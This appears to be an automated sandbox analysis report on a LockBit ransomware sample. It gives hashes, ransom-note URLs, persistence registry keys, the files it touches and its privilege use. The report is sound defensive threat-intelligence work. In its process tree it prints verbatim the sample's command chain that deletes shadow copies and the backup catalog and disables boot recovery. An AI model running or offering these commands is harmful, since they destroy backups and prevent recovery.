Analysis
-
max time kernel
166s -
max time network
95s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
03-05-2022 15:06
Static task
static1
Behavioral task
behavioral1
Sample
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe
Resource
win10v2004-20220414-en
General
-
Target
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe
-
Size
174KB
-
MD5
c303d6dbdf135c20cdf95f6e6f3c6bac
-
SHA1
62b370fcfbb7799db5a94852e9906bc0f5d022bc
-
SHA256
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338
-
SHA512
a10710f8db1a112c367c5890946f514e3fb74194168f249715ab7b714b62b6e7b5495c39ea180c5835378cff36f4a583d775a4fed041e6b78ce1cae43b2dff03
Malware Config
Extracted
C:\Program Files\7-Zip\Restore-My-Files.txt
lockbit
http://lockbit-decryptor.top/?DFB941278EE2558CC77DB2A44D86A15C
http://lockbitks2tvnmwk.onion/?DFB941278EE2558CC77DB2A44D86A15C
Signatures
-
Lockbit
Ransomware family with multiple variants released since late 2019.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 2044 bcdedit.exe 564 bcdedit.exe -
Processes:
wbadmin.exepid process 1052 wbadmin.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe\"" 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
Processes:
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exepid process 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe -
Drops file in Program Files directory 64 IoCs
Processes:
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exedescription ioc process File opened for modification C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color32.jpg 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-first-quarter.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\EST5EDT 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\fr-FR\css\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_zh_CN.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0237759.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_SelectionSubpicture.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_zh_CN.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Composite.eftx 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\fr-FR\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\images\next_hov.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151055.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\eclipse.inf 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\imap.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.lucene.core_3.5.0.v20120725-1805.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Ojinaga 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\DVD Maker\en-US\DVDMaker.exe.mui 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureB.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Srednekolymsk 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0400004.PNG 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Essential.thmx 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Metro.xml 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\UTC 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\weather.html 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Resolute 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Media Player\ja-JP\wmpnscfg.exe.mui 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\de-DE\gadget.xml 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt_0.11.101.v20140818-1343.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-ui.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0233992.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0238959.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02503U.BMP 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\sRGB.pf 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.RSA 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_zh_CN.jar 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Oslo 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341559.JPG 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Composite.xml 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bPrev-hot.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\es-ES\css\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\144DPI\(144DPI)notConnectedStateIcon.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107282.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02048_.WMF 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mac.css 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kuala_Lumpur 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.json 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Media Player\it-IT\WMPDMCCore.dll.mui 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\info.png 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Median.eftx 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe File created C:\Program Files\DVD Maker\es-ES\Restore-My-Files.txt 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 1532 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exepid process 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exevssvc.exeWMIC.exewbengine.exedescription pid process Token: SeTakeOwnershipPrivilege 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe Token: SeDebugPrivilege 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe Token: SeBackupPrivilege 852 vssvc.exe Token: SeRestorePrivilege 852 vssvc.exe Token: SeAuditPrivilege 852 vssvc.exe Token: SeIncreaseQuotaPrivilege 1172 WMIC.exe Token: SeSecurityPrivilege 1172 WMIC.exe Token: SeTakeOwnershipPrivilege 1172 WMIC.exe Token: SeLoadDriverPrivilege 1172 WMIC.exe Token: SeSystemProfilePrivilege 1172 WMIC.exe Token: SeSystemtimePrivilege 1172 WMIC.exe Token: SeProfSingleProcessPrivilege 1172 WMIC.exe Token: SeIncBasePriorityPrivilege 1172 WMIC.exe Token: SeCreatePagefilePrivilege 1172 WMIC.exe Token: SeBackupPrivilege 1172 WMIC.exe Token: SeRestorePrivilege 1172 WMIC.exe Token: SeShutdownPrivilege 1172 WMIC.exe Token: SeDebugPrivilege 1172 WMIC.exe Token: SeSystemEnvironmentPrivilege 1172 WMIC.exe Token: SeRemoteShutdownPrivilege 1172 WMIC.exe Token: SeUndockPrivilege 1172 WMIC.exe Token: SeManageVolumePrivilege 1172 WMIC.exe Token: 33 1172 WMIC.exe Token: 34 1172 WMIC.exe Token: 35 1172 WMIC.exe Token: SeIncreaseQuotaPrivilege 1172 WMIC.exe Token: SeSecurityPrivilege 1172 WMIC.exe Token: SeTakeOwnershipPrivilege 1172 WMIC.exe Token: SeLoadDriverPrivilege 1172 WMIC.exe Token: SeSystemProfilePrivilege 1172 WMIC.exe Token: SeSystemtimePrivilege 1172 WMIC.exe Token: SeProfSingleProcessPrivilege 1172 WMIC.exe Token: SeIncBasePriorityPrivilege 1172 WMIC.exe Token: SeCreatePagefilePrivilege 1172 WMIC.exe Token: SeBackupPrivilege 1172 WMIC.exe Token: SeRestorePrivilege 1172 WMIC.exe Token: SeShutdownPrivilege 1172 WMIC.exe Token: SeDebugPrivilege 1172 WMIC.exe Token: SeSystemEnvironmentPrivilege 1172 WMIC.exe Token: SeRemoteShutdownPrivilege 1172 WMIC.exe Token: SeUndockPrivilege 1172 WMIC.exe Token: SeManageVolumePrivilege 1172 WMIC.exe Token: 33 1172 WMIC.exe Token: 34 1172 WMIC.exe Token: 35 1172 WMIC.exe Token: SeBackupPrivilege 2020 wbengine.exe Token: SeRestorePrivilege 2020 wbengine.exe Token: SeSecurityPrivilege 2020 wbengine.exe -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.execmd.exedescription pid process target process PID 1728 wrote to memory of 1760 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe cmd.exe PID 1728 wrote to memory of 1760 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe cmd.exe PID 1728 wrote to memory of 1760 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe cmd.exe PID 1728 wrote to memory of 1760 1728 6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe cmd.exe PID 1760 wrote to memory of 1532 1760 cmd.exe vssadmin.exe PID 1760 wrote to memory of 1532 1760 cmd.exe vssadmin.exe PID 1760 wrote to memory of 1532 1760 cmd.exe vssadmin.exe PID 1760 wrote to memory of 1172 1760 cmd.exe WMIC.exe PID 1760 wrote to memory of 1172 1760 cmd.exe WMIC.exe PID 1760 wrote to memory of 1172 1760 cmd.exe WMIC.exe PID 1760 wrote to memory of 2044 1760 cmd.exe bcdedit.exe PID 1760 wrote to memory of 2044 1760 cmd.exe bcdedit.exe PID 1760 wrote to memory of 2044 1760 cmd.exe bcdedit.exe PID 1760 wrote to memory of 564 1760 cmd.exe bcdedit.exe PID 1760 wrote to memory of 564 1760 cmd.exe bcdedit.exe PID 1760 wrote to memory of 564 1760 cmd.exe bcdedit.exe PID 1760 wrote to memory of 1052 1760 cmd.exe wbadmin.exe PID 1760 wrote to memory of 1052 1760 cmd.exe wbadmin.exe PID 1760 wrote to memory of 1052 1760 cmd.exe wbadmin.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe"C:\Users\Admin\AppData\Local\Temp\6ceea39b7ac9ae4c9560e9fa6a6174da4f17b83e33896ddbb54d2bcd9b163338.exe"1⤵
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/564-62-0x0000000000000000-mapping.dmp
-
memory/1052-63-0x0000000000000000-mapping.dmp
-
